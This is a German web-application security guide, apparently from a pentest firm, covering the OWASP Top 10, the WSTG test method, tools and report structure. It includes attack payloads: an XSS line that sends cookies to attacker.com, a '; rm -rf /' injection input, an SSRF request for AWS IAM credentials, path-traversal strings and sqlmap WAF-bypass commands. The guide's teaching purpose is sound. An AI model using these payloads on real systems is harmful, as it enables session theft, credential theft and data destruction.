Kurzerklärung: Path Traversal (CWE-22, OWASP A01:2021) ermöglicht Angreifern durch ../ Sequenzen auf Dateien außerhalb des erlaubten Verzeichnisses zuzugreifen. Ziel: Lesen sensitiver Dateien (/etc/passwd, web.config, .env, SSH-Keys), in schlimmsten Fällen Schreiben/Ausführen von Dateien. Varianten: URL-kodierte Traversal (%2e%2e%2f), doppelt kodiert (%252e%252e%252f), Null-Byte-Injection (.php%00), Windows-Pfade mit Backslash-Notation. Schutz: absolute Pfad-Validierung mit realpath(), Allowlist-basierte Dateiauswahl.

Web-Applikationen - Unternehmensportale, APIs, Cloud-Dienste, SaaS-Plattformen - sind das meistangegriffene Ziel in der IT-Sicherheit. Laut Verizon DBIR 2024 beginnen 39% aller Datenschutzverletzungen mit einem Webanwendungsangriff. Das OWASP-Projekt dokumentiert die zehn kritischsten Schwachstellenkategorien und ist die globale Referenz für Web-Applikations-Sicherheit. Ein professioneller Web-Pentest deckt kritische Risiken ab, produziert reproduzierbare Findings und gibt dem Entwicklungsteam konkrete Remediation-Empfehlungen.

OWASP Top 10 (2021) - Die kritischsten Schwachstellen

A01: Broken Access Control

Häufigste OWASP-Kategorie. Nutzer können auf Ressourcen zugreifen, für die sie keine Berechtigung haben.

Typische Schwachstellen:

• IDOR (Insecure Direct Object Reference): URL /api/invoice/1234 - ändere auf /api/invoice/1235 um fremde Rechnung zu sehen
• Fehlende Berechtigungsprüfung auf API-Endpunkten (frontend-seitige Checks sind kein Schutz)
• Privilege Escalation: Parameter role=admin in POST-Request

Unsicher:

// GET /api/orders/:id - keine Prüfung ob Order dem User gehört
app.get("/api/orders/:id", async (req, res) => {
  const order = await db.query("SELECT * FROM orders WHERE id = ?", [
    req.params.id,
  ]);
  res.json(order); // JEDER kann JEDE Order lesen!
});

Sicher:

app.get("/api/orders/:id", authenticate, async (req, res) => {
  const order = await db.query(
    "SELECT * FROM orders WHERE id = ? AND user_id = ?",
    [req.params.id, req.user.id], // Immer Eigentumscheck!
  );
  if (!order) return res.status(403).json({ error: "Forbidden" });
  res.json(order);
});

A02: Cryptographic Failures

Fehlende oder schwache Verschlüsselung schützt sensitive Daten nicht ausreichend.

Typische Schwachstellen:

• Passwörter in Klartext oder MD5/SHA1-Hash (crack-bar)
• HTTP statt HTTPS für sensitive Daten
• Veraltete Algorithmen: DES, RC4, MD5
• Hardcoded Encryption Keys im Quellcode

Unsicher:

# MD5 für Passwörter - in Sekunden crackbar
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

Sicher:

# bcrypt mit Salt - designed für Passwort-Hashing
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Oder: Argon2id (OWASP empfohlen), scrypt

A03: Injection (SQL Injection, Command Injection, LDAP Injection)

Angreifer injizieren Code in Interpreter - die gefährlichste klassische Schwachstelle.

SQL Injection:

-- Angreifereingabe: admin'--
-- Resultierende Query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'egal'
-- Das "--" kommentiert die Passwortprüfung aus!

Sicher (Prepared Statements):

# Python mit SQLite - KEIN String-Concatenation
cursor.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password_hash)  # Daten von SQL-Code getrennt
)

Command Injection:

# Unsicher: User-Input direkt in Shell
import subprocess
filename = request.args.get('file')  # Angreifer: "file=; rm -rf /"
subprocess.run(f"cat /uploads/{filename}", shell=True)  # GEFÄHRLICH!

# Sicher: Kein shell=True, keine String-Interpolation
subprocess.run(["cat", f"/uploads/{os.path.basename(filename)}"], shell=False)

A04: Insecure Design

Sicherheitsprobleme in der Architektur selbst - nicht behebbar durch Patches.

Beispiele:

• Kein Rate Limiting auf Login-Endpoint (Brute Force möglich)
• "Passwort vergessen" sendet Passwort im Klartext per E-Mail
• Multi-Tenant SaaS ohne Mandantentrennung in DB
• Session Token im URL (Referer-Header leakt Token)

Lösung: Threat Modeling vor der Implementierung, Secure Design Reviews.

A05: Security Misconfiguration

Standard-Konfigurationen sind oft unsicher.

nginx Sicherheits-Konfiguration:

# Verberge nginx-Version
server_tokens off;

# Security Headers
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Content-Security-Policy "default-src 'self'";

# Nur TLS 1.2 + 1.3
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';

A06: Vulnerable and Outdated Components

Third-Party-Libraries mit bekannten CVEs. Größter bekannter Fall: Log4Shell (CVE-2021-44228) - Remote Code Execution mit CVSS Score 10.0 durch eine einzeilige Payload im User-Agent Header.

# SCA in CI/CD (Software Composition Analysis)
npm audit --production
pip-audit
./mvnw dependency-check:check -Dfailbuild=true -DcvssScoreThreshold=7.0

A07: Identification and Authentication Failures

JWT Sicherheitsfallen:

// Unsicher: Algorithm "none" akzeptiert
const decoded = jwt.verify(token, secret, { algorithms: ["HS256", "none"] });

// Sicher: Algorithmus explizit festlegen
const decoded = jwt.verify(token, secret, { algorithms: ["HS256"] });

A08: Software and Data Integrity Failures

# Package-Hashes prüfen (npm)
npm ci --ignore-scripts  # lockfile-basiert, kein npm install

# Subresource Integrity für CDN-Assets
<script src="https://cdn.example.com/lib.js"
        integrity="sha384-ABC123..."
        crossorigin="anonymous"></script>

A09: Security Logging and Monitoring Failures

// Sicherheitsrelevante Events immer loggen
logger.security("LOGIN_FAILURE", {
  username: sanitize(username), // kein Passwort loggen!
  ip: req.ip,
  timestamp: new Date().toISOString(),
  userAgent: req.headers["user-agent"],
});

A10: Server-Side Request Forgery (SSRF)

# Angreifer-Request:
POST /api/fetch-preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
#                ↑ AWS Metadata Service - gibt IAM Credentials zurück!

Schutz:

from urllib.parse import urlparse
import ipaddress

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    if parsed.scheme != 'https':
        return False
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except ValueError:
        pass
    ALLOWED_DOMAINS = ['api.trusted-partner.com', 'cdn.example.com']
    return any(parsed.hostname.endswith(d) for d in ALLOWED_DOMAINS)

Security Headers: Pflicht für jede Web-App

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; object-src 'none'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

CSP (Content Security Policy) ist das mächtigste Mittel gegen XSS - verhindert Ausführung von nicht-autorisierten Scripts.

WSTG-Testmethodik für Web-Pentests

Die OWASP Web Security Testing Guide (WSTG) Methodik gliedert sich in sieben Testphasen:

1. Information Gathering (OTG-INFO): Passive Reconnaissance via DNS (Subdomains, MX-Records, SPF), WHOIS, Shodan/Censys (offene Ports, Technologie-Stack), crt.sh (Subdomains aus CT-Logs), Wayback Machine (alte API-Endpoints) und Google Dorking. Aktive Reconnaissance mit Subfinder + httpx für Subdomain-Enumeration sowie Feroxbuster für Directory Brute-Force.

2. Configuration Testing (OTG-CONFIG): Prüfung erlaubter HTTP-Methoden (PUT, DELETE, TRACE), Security-Header, TLS-Konfiguration (testssl.sh), Debug-Modus in Produktion sowie Backup-Dateien (/index.php.bak, /web.config.bak).

3. Identity Management + Authentication (OTG-IDENT, OTG-AUTHN): Username-Enumeration (gleiche Fehlermeldung bei falschem User und falschem Passwort?), Brute-Force-Schutz (Account-Lockout), Default-Credentials, MFA-Bypass bei Account-Rückgewinnung, JWT-Schwächen (alg=none, RS256→HS256, schwacher Secret).

4. Session Management (OTG-SESS): Session-Token-Entropie, Session-Fixation (Session nach Login geändert?), Cookie-Flags (Secure, HttpOnly, SameSite=Strict), Session-Timeout, Logout-Invalidierung.

5. Input Validation Testing (OTG-INPVAL): SQL-Injection, XSS, SSRF, XXE, IDOR, Command-Injection.

6. Error Handling (OTG-ERR): Stack-Traces im Response, Analyse von HTTP-500-Responses.

7. Business Logic (OTG-BUSLOGIC): Mengen-Manipulation (Warenkorb mit negativer Menge), Schritt-Bypassing (Checkout ohne Adresse?), Race Conditions (parallele Requests für denselben Coupon-Code), Preis-Manipulation via Parameter-Tampering.

SQL Injection Testing

Zur Erkennung von SQL-Injection werden zunächst einfache Payloads getestet: id=1' provoziert einen SQL-Syntaxfehler, id=1 AND 1=1 sollte dasselbe Ergebnis wie id=1 liefern, und id=1 AND 1=2 sollte ein abweichendes Ergebnis liefern (Boolean-based Blind SQLi). Error-based SQLi nutzt datenbankspezifische Funktionen, um Informationen in Fehlermeldungen zu extrahieren. Time-based Blind SQLi nutzt SELECT SLEEP(5) (MySQL) oder WAITFOR DELAY '0:0:5' (MSSQL), um an der Antwortzeit die Ausführung zu erkennen.

# sqlmap - Basis-Scan:
sqlmap -u "https://target.com/product?id=1" --batch

# Mit Session-Cookie und POST-Daten:
sqlmap -u "https://target.com/api/users" \
  --cookie="session=xyz123" \
  --data="id=1" \
  --batch --level=3 --risk=2

# WAF-Bypass via Tamper-Scripts:
sqlmap -u "..." --tamper=space2comment,charencode

XSS Testing

Reflected XSS wird getestet, indem <script>alert(1)</script> in Eingabeparameter injiziert wird. Im Attribut-Kontext (z. B. value="...") wird " onmouseover="alert(1) verwendet; im JavaScript-Kontext (var x="...") funktioniert ";alert(1)//. Stored XSS wird durch persistente Payloads wie <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> nachgewiesen. DOM-based XSS ist besonders heimtückisch: JavaScript liest URL-Fragmente oder Parameter und schreibt direkt ins DOM, ohne einen Server-Roundtrip - und ist damit für serverseitige Scanner unsichtbar.

Schutzmaßnahmen: kontextabhängiges Output-Encoding (HTML-Entities, JavaScript-Encoding, URL-Encoding), Content Security Policy (verhindert Inline-Scripts), HttpOnly-Cookie-Flag (verhindert Cookie-Diebstahl via XSS).

Burp Suite Pro Workflow

Der professionelle Pentest-Workflow mit Burp Suite Pro umfasst: Projekt einrichten (Scope definieren, automatisches Crawling via Spider + Content Discovery), Proxy-Intercept (alle Requests analysieren, sensible Parameter identifizieren), Burp Scanner (aktiver Scan auf Scope-URLs, Issues nach Severity sortieren), Burp Intruder für SQL-Injection und Fuzzing-Tests, Burp Repeater für die reproduzierbare Modifikation einzelner Requests sowie Burp Collaborator für Out-of-Band-Testing (SSRF, Blind XSS, Blind SQLi, XXE).

Wichtige Burp-Extensions: Active Scan++ (verbesserte Scanner-Rules), AuthMatrix (Auth-Bypass-Testing), Turbo Intruder (High-Speed-Requests), JWT Editor (JWT-Schwachstellen), Param Miner (Hidden Parameter Discovery).

# Nuclei für automatisiertes Scanning
nuclei -u https://target.com -t nuclei-templates/
nuclei -u https://target.com -tags cve,sqli,xss
nuclei -u https://target.com -severity critical,high

OWASP Top 10 Pentest-Checkliste

A01:2021 Broken Access Control: IDOR (fremde IDs in API-Requests testen), vertikale Privilege Escalation (Admin-Endpoints mit normalem User), fehlende Function-Level Access Control, CORS-Fehlkonfiguration (Access-Control-Allow-Origin: *).

A02:2021 Cryptographic Failures: HTTP statt HTTPS? HSTS aktiviert? Sensitive Daten in URL-Query-Strings (landen in Server-Logs)? Schwache TLS-Konfiguration (kein TLS 1.0/1.1 via testssl.sh)? Passwort-Hashing: bcrypt/Argon2 oder unsicheres MD5/SHA1?

A03:2021 Injection: SQL-Injection in allen Datenbankabfragen, Command Injection (OS-Befehle), LDAP-Injection bei LDAP-Authentifizierung, Template-Injection (SSTI in Template-Engines).

A04:2021 Insecure Design: Business Logic Testing (Mengen, Preise, Prozessschritte), Race Conditions (parallele Requests), Account Enumeration (unterschiedliche Fehlermeldungen?).

A05:2021 Security Misconfiguration: Security-Header vollständig (CSP, HSTS, X-Frame-Options)? Debug-Modus in Produktion? Default-Credentials auf Admin-Panels?

A06:2021 Vulnerable and Outdated Components: Versionsnummern aus Response-Headers und Fehlerseiten extrahieren, CVE-Check für erkannte Versionen.

A07:2021 Identification and Authentication Failures: Brute-Force-Schutz (Rate-Limiting, CAPTCHA), Session-Token-Entropie und Gültigkeit, MFA-Implementierung und Bypass-Möglichkeiten, JWT-Schwächen (alg=none, exp-Prüfung, key confusion).

A10:2021 Server-Side Request Forgery (SSRF): URL-Parameter die Server-Requests auslösen, Webhook-URLs, Import-Funktionen (CSV-Import, Avatar-URL).

Report-Struktur (AWARE7-Standard)

Executive Summary: Gesamtrisikobewertung (Ampel: Rot/Gelb/Grün), Top-3-kritische Findings in einfacher Sprache, priorisierte Handlungsempfehlungen.

Technical Findings (pro Finding): Schwachstellenklasse + OWASP-Referenz, CVSS v4.0 Score + Vektor-String, Beschreibung + Ursache, Reproduktionsschritte (Step-by-Step), Screenshot/PoC, konkrete und umsetzbare Remediation-Empfehlung.

Appendix: Getestete URLs/Endpoints, verwendete Tools und Versionen, Testumfang und Ausschlüsse, OWASP WSTG Test-ID-Referenzen.

Compliance und Web-Sicherheit

PCI DSS 6.2/6.3: Schutzmechanismen gegen OWASP Top 10 für alle Cardholder-Data-Systeme.

BSI IT-Grundschutz CON.10: Entwicklung von Web-Anwendungen - explizit OWASP Top 10 als Referenz.

ISO 27001 A.8.28: Sicheres Coding - Input-Validierung, Output-Encoding, Fehlerbehandlung.

NIS2 Art. 21: Sicherheit bei der Entwicklung und Beschaffung von IKT-Systemen.

AWARE7 führt Web-Applikations-Pentests nach OWASP WSTG durch und liefert detaillierte Berichte mit CVSS-Bewertung, reproduzierbaren Proof-of-Concepts und priorisierten Handlungsempfehlungen.

Business Logic Flaws sind die heimtückischsten Schwachstellen in Webanwendungen: Sie entstehen nicht durch fehlerhafte Programmierung (wie SQL-Injection), sondern durch inkorrekte Implementierung von Geschäftsregeln. Ein automatisierter Scanner sieht nur HTTP-Requests - er versteht nicht, dass "Bestellmenge -5" einen negativen Preis erzeugen sollte. Nur erfahrene Tester mit Verständnis des Geschäftsprozesses erkennen diese Lücken.

SICHER - subprocess mit Array, kein shell=True!

import subprocess import ipaddress try: ipaddress.ip_address(user_input) # IP-Validierung except ValueError: raise Exception("Invalid IP") result = subprocess.run( ['ping', '-c', '1', user_input], # Array: kein Shell-Parsing! capture_output=True, text=True, timeout=5 # shell=False (Standard!) → KEIN Shell-Interpreter! )

Jedes Element im Array ist ein separates Argument

Kein Semikolon, kein &&, kein | möglich!

Allgemeine Schutzmaßnahmen: □ Whitelist-Validierung: nur erlaubte Zeichen (IP-Regex, Alphanumerisch) □ Least Privilege: Webserver-Prozess ohne root-Rechte! □ AppArmor/SELinux: Prozess auf erlaubte Syscalls beschränken □ Sandboxing: Container/Chroot für externe Prozesse □ WAF: bekannte Injection-Patterns filtern □ Monitoring: unerwartete Prozesse aus Webserver-User → SOC-Alert □ Grundsatz: Shell-Aufrufe in Webanwendungen vermeiden! Für Ping/DNS: Native-Bibliotheken nutzen (Net::Ping, socket)

**Fuzzing** ist eine der effektivsten Methoden um Sicherheitsschwachstellen in Software zu finden, die manuelle Code-Reviews und statische Analyse übersehen. Ein Fuzzer generiert automatisch massive Mengen an Testfällen, sendet sie an das Ziel-Programm und überwacht ob dieses abstürzt, hängt oder unerwartete Fehler produziert - Indikatoren für Buffer-Overflows, Use-After-Free oder andere speicher-basierte Schwachstellen. Google OSS-Fuzz hat mit Fuzzing über 10.000 Schwachstellen in Open-Source-Software gefunden.

Fuzzing-Kategorien nach Ziel:
  □ Dateiparser: PDF, PNG, MP4, Office-Dokumente → LibFuzzer
  □ Netzwerkprotokolle: HTTP, TLS, DNS, SMB → Boofuzz, Peach
  □ Web-APIs: REST, SOAP, GraphQL → RESTler, CATS
  □ Browser-Engines: V8, SpiderMonkey → Domino, Dharma
  □ Kryptobibliotheken: OpenSSL, BoringSSL → Google OSS-Fuzz
  □ Betriebssystem-Kernel: syscall-Fuzzing → syzkaller
  □ Embedded/IoT: Firmware-Fuzzing → FIRM-AFL, Firmfuzz